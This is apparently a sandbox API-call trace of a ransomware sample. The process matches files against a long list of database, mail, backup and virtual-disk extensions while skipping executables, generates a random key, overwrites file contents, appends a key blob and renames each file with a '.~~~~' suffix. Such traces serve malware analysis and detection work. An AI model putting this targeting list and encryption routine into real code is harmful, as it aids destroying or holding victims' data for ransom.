	[0142.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".dat") returned 0x0
	[0142.146] lstrlenW (lpString=".DBS") returned 4
	[0142.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".DBS") returned 0x0
	[0142.146] lstrlenW (lpString=".CKP") returned 4
	[0142.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".CKP") returned 0x0
	[0142.146] lstrlenW (lpString=".edb") returned 4
	[0142.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".edb") returned 0x0
	[0142.146] lstrlenW (lpString=".PST") returned 4
	[0142.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".PST") returned 0x0
	[0142.146] lstrlenW (lpString=".dbf") returned 4
	[0142.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".dbf") returned 0x0
	[0142.146] lstrlenW (lpString=".SQL") returned 4
	[0142.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".SQL") returned 0x0
	[0142.147] lstrlenW (lpString=".pst") returned 4
	[0142.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".pst") returned 0x0
	[0142.147] lstrlenW (lpString=".dbv") returned 4
	[0142.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".dbv") returned 0x0
	[0142.147] lstrlenW (lpString=".SDF") returned 4
	[0142.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".SDF") returned 0x0
	[0142.147] lstrlenW (lpString=".dtxs") returned 5
	[0142.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".dtxs") returned 0x0
	[0142.147] lstrlenW (lpString=".db3") returned 4
	[0142.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".db3") returned 0x0
	[0142.147] lstrlenW (lpString=".OST") returned 4
	[0142.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".OST") returned 0x0
	[0142.147] lstrlenW (lpString=".dbx") returned 4
	[0142.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".dbx") returned 0x0
	[0142.147] lstrlenW (lpString=".DB3") returned 4
	[0142.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".DB3") returned 0x0
	[0142.147] lstrlenW (lpString=".DAT") returned 4
	[0142.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".DAT") returned 0x0
	[0142.147] lstrlenW (lpString=".VHDX") returned 5
	[0142.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".VHDX") returned 0x0
	[0142.147] lstrlenW (lpString=".ndf") returned 4
	[0142.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".ndf") returned 0x0
	[0142.147] lstrlenW (lpString=".DB") returned 3
	[0142.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".DB") returned 0x0
	[0142.147] lstrlenW (lpString=".sql") returned 4
	[0142.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".sql") returned 0x0
	[0142.147] lstrlenW (lpString=".MYD") returned 4
	[0142.148] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".MYD") returned 0x0
	[0142.148] lstrlenW (lpString=".DBT") returned 4
	[0142.148] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".DBT") returned 0x0
	[0142.148] lstrlenW (lpString=".ACCDB") returned 6
	[0142.148] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.148] lstrlenW (lpString=".fdb") returned 4
	[0142.148] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".fdb") returned 0x0
	[0142.148] lstrlenW (lpString=".bak") returned 4
	[0142.148] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".bak") returned 0x0
	[0142.148] lstrlenW (lpString=".myd") returned 4
	[0142.148] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".myd") returned 0x0
	[0142.148] lstrlenW (lpString=".DTXS") returned 5
	[0142.148] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".DTXS") returned 0x0
	[0142.148] lstrlenW (lpString=".ckp") returned 4
	[0142.148] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".ckp") returned 0x0
	[0142.148] lstrlenW (lpString=".dbt") returned 4
	[0142.148] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".dbt") returned 0x0
	[0142.148] lstrlenW (lpString=".db") returned 3
	[0142.148] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".db") returned 0x0
	[0142.148] lstrlenW (lpString=".TXT") returned 4
	[0142.148] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".TXT") returned 0x0
	[0142.148] lstrlenW (lpString=".MDF") returned 4
	[0142.148] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".MDF") returned 0x0
	[0142.148] lstrlenW (lpString=".bdb") returned 4
	[0142.148] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".bdb") returned 0x0
	[0142.148] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.149] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.149] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0142.149] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.149] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0142.150] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.150] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.150] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.150] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0142.150] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0142.150] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26214031548) returned 1
	[0142.150] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbe21cbf0, dwHighDateTime=0x1d60e1e)) 
	[0142.150] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0142.150] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0142.150] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0142.150] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3798
	[0142.151] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.151] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3798 | out: hHeap=0x300000) returned 1
	[0142.151] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.151] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.151] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f50d8
	[0142.151] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.151] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6380
	[0142.151] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f50d8 | out: hHeap=0x300000) returned 1
	[0142.151] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0142.151] GetLastError () returned 0x0
	[0142.151] GetLastError () returned 0x0
	[0142.152] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0142.152] GetLastError () returned 0x0
	[0142.152] GetLastError () returned 0x0
	[0142.152] ReadFile (in: hFile=0x104, lpBuffer=0x2a840c8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a840c8*, lpNumberOfBytesRead=0x1f8fec0*=0xd2e, lpOverlapped=0x0) returned 1
	[0142.154] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xfffff2d2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.154] WriteFile (in: hFile=0x104, lpBuffer=0x2a840c8*, nNumberOfBytesToWrite=0xd2e, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a840c8*, lpNumberOfBytesWritten=0x1f8fec0*=0xd2e, lpOverlapped=0x0) returned 1
	[0142.155] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a840c8 | out: hHeap=0x300000) returned 1
	[0142.155] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.155] WriteFile (in: hFile=0x104, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.155] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.155] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.155] CloseHandle (hObject=0x104) returned 1
	[0142.155] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f50d8
	[0142.155] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir8b.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir8b.gif.~~~~")) returned 1
	[0142.158] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f50d8 | out: hHeap=0x300000) returned 1
	[0142.158] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0142.158] GetLastError () returned 0x0
	[0142.158] RtlWakeConditionVariable () returned 0x0
	[0142.158] GetCurrentThreadId () returned 0xaf0
	[0142.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".scr") returned 0x0
	[0142.158] lstrlenW (lpString=".cmd") returned 4
	[0142.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".cmd") returned 0x0
	[0142.158] lstrlenW (lpString=".dll") returned 4
	[0142.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".dll") returned 0x0
	[0142.158] lstrlenW (lpString=".bat") returned 4
	[0142.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".bat") returned 0x0
	[0142.158] lstrlenW (lpString=".cpl") returned 4
	[0142.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".cpl") returned 0x0
	[0142.159] lstrlenW (lpString=".sys") returned 4
	[0142.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".sys") returned 0x0
	[0142.159] lstrlenW (lpString=".msc") returned 4
	[0142.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".msc") returned 0x0
	[0142.159] lstrlenW (lpString=".com") returned 4
	[0142.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".com") returned 0x0
	[0142.159] lstrlenW (lpString=".lnk") returned 4
	[0142.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".lnk") returned 0x0
	[0142.159] lstrlenW (lpString=".msp") returned 4
	[0142.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".msp") returned 0x0
	[0142.159] lstrlenW (lpString=".pif") returned 4
	[0142.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".pif") returned 0x0
	[0142.159] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.159] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir8f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0142.161] lstrlenW (lpString=".sqb") returned 4
	[0142.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".sqb") returned 0x0
	[0142.161] lstrlenW (lpString=".ost") returned 4
	[0142.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".ost") returned 0x0
	[0142.161] lstrlenW (lpString=".txt") returned 4
	[0142.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".txt") returned 0x0
	[0142.161] lstrlenW (lpString=".mdt") returned 4
	[0142.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".mdt") returned 0x0
	[0142.161] lstrlenW (lpString=".BDB") returned 4
	[0142.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".BDB") returned 0x0
	[0142.161] lstrlenW (lpString=".eql") returned 4
	[0142.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".eql") returned 0x0
	[0142.161] lstrlenW (lpString=".DBF") returned 4
	[0142.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".DBF") returned 0x0
	[0142.162] lstrlenW (lpString=".EQL") returned 4
	[0142.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".EQL") returned 0x0
	[0142.162] lstrlenW (lpString=".FDB") returned 4
	[0142.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".FDB") returned 0x0
	[0142.162] lstrlenW (lpString=".EDB") returned 4
	[0142.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".EDB") returned 0x0
	[0142.162] lstrlenW (lpString=".DACPAC") returned 7
	[0142.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.162] lstrlenW (lpString=".VHD") returned 4
	[0142.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".VHD") returned 0x0
	[0142.162] lstrlenW (lpString=".DBV") returned 4
	[0142.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".DBV") returned 0x0
	[0142.162] lstrlenW (lpString=".dacpac") returned 7
	[0142.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".dacpac") returned 0x0
	[0142.162] lstrlenW (lpString=".sdf") returned 4
	[0142.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".sdf") returned 0x0
	[0142.162] lstrlenW (lpString=".accdb") returned 6
	[0142.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".accdb") returned 0x0
	[0142.162] lstrlenW (lpString=".DBX") returned 4
	[0142.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".DBX") returned 0x0
	[0142.162] lstrlenW (lpString=".MDT") returned 4
	[0142.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".MDT") returned 0x0
	[0142.162] lstrlenW (lpString=".SQB") returned 4
	[0142.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".SQB") returned 0x0
	[0142.162] lstrlenW (lpString=".vhd") returned 4
	[0142.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".vhd") returned 0x0
	[0142.162] lstrlenW (lpString=".bac") returned 4
	[0142.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".bac") returned 0x0
	[0142.163] lstrlenW (lpString=".mdf") returned 4
	[0142.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".mdf") returned 0x0
	[0142.163] lstrlenW (lpString=".BAK") returned 4
	[0142.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".BAK") returned 0x0
	[0142.163] lstrlenW (lpString=".BAC") returned 4
	[0142.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".BAC") returned 0x0
	[0142.163] lstrlenW (lpString=".dbs") returned 4
	[0142.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".dbs") returned 0x0
	[0142.163] lstrlenW (lpString=".vhdx") returned 5
	[0142.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".vhdx") returned 0x0
	[0142.163] lstrlenW (lpString=".NDF") returned 4
	[0142.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".NDF") returned 0x0
	[0142.163] lstrlenW (lpString=".dat") returned 4
	[0142.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".dat") returned 0x0
	[0142.163] lstrlenW (lpString=".DBS") returned 4
	[0142.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".DBS") returned 0x0
	[0142.163] lstrlenW (lpString=".CKP") returned 4
	[0142.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".CKP") returned 0x0
	[0142.163] lstrlenW (lpString=".edb") returned 4
	[0142.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".edb") returned 0x0
	[0142.163] lstrlenW (lpString=".PST") returned 4
	[0142.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".PST") returned 0x0
	[0142.163] lstrlenW (lpString=".dbf") returned 4
	[0142.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".dbf") returned 0x0
	[0142.163] lstrlenW (lpString=".SQL") returned 4
	[0142.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".SQL") returned 0x0
	[0142.164] lstrlenW (lpString=".pst") returned 4
	[0142.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".pst") returned 0x0
	[0142.164] lstrlenW (lpString=".dbv") returned 4
	[0142.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".dbv") returned 0x0
	[0142.164] lstrlenW (lpString=".SDF") returned 4
	[0142.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".SDF") returned 0x0
	[0142.164] lstrlenW (lpString=".dtxs") returned 5
	[0142.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".dtxs") returned 0x0
	[0142.164] lstrlenW (lpString=".db3") returned 4
	[0142.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".db3") returned 0x0
	[0142.164] lstrlenW (lpString=".OST") returned 4
	[0142.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".OST") returned 0x0
	[0142.164] lstrlenW (lpString=".dbx") returned 4
	[0142.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".dbx") returned 0x0
	[0142.164] lstrlenW (lpString=".DB3") returned 4
	[0142.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".DB3") returned 0x0
	[0142.164] lstrlenW (lpString=".DAT") returned 4
	[0142.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".DAT") returned 0x0
	[0142.164] lstrlenW (lpString=".VHDX") returned 5
	[0142.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".VHDX") returned 0x0
	[0142.164] lstrlenW (lpString=".ndf") returned 4
	[0142.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".ndf") returned 0x0
	[0142.164] lstrlenW (lpString=".DB") returned 3
	[0142.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".DB") returned 0x0
	[0142.164] lstrlenW (lpString=".sql") returned 4
	[0142.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", lpSrch=".sql") returned 0x0
	[0142.164] lstrlenW (lpString=".MYD") returned 4
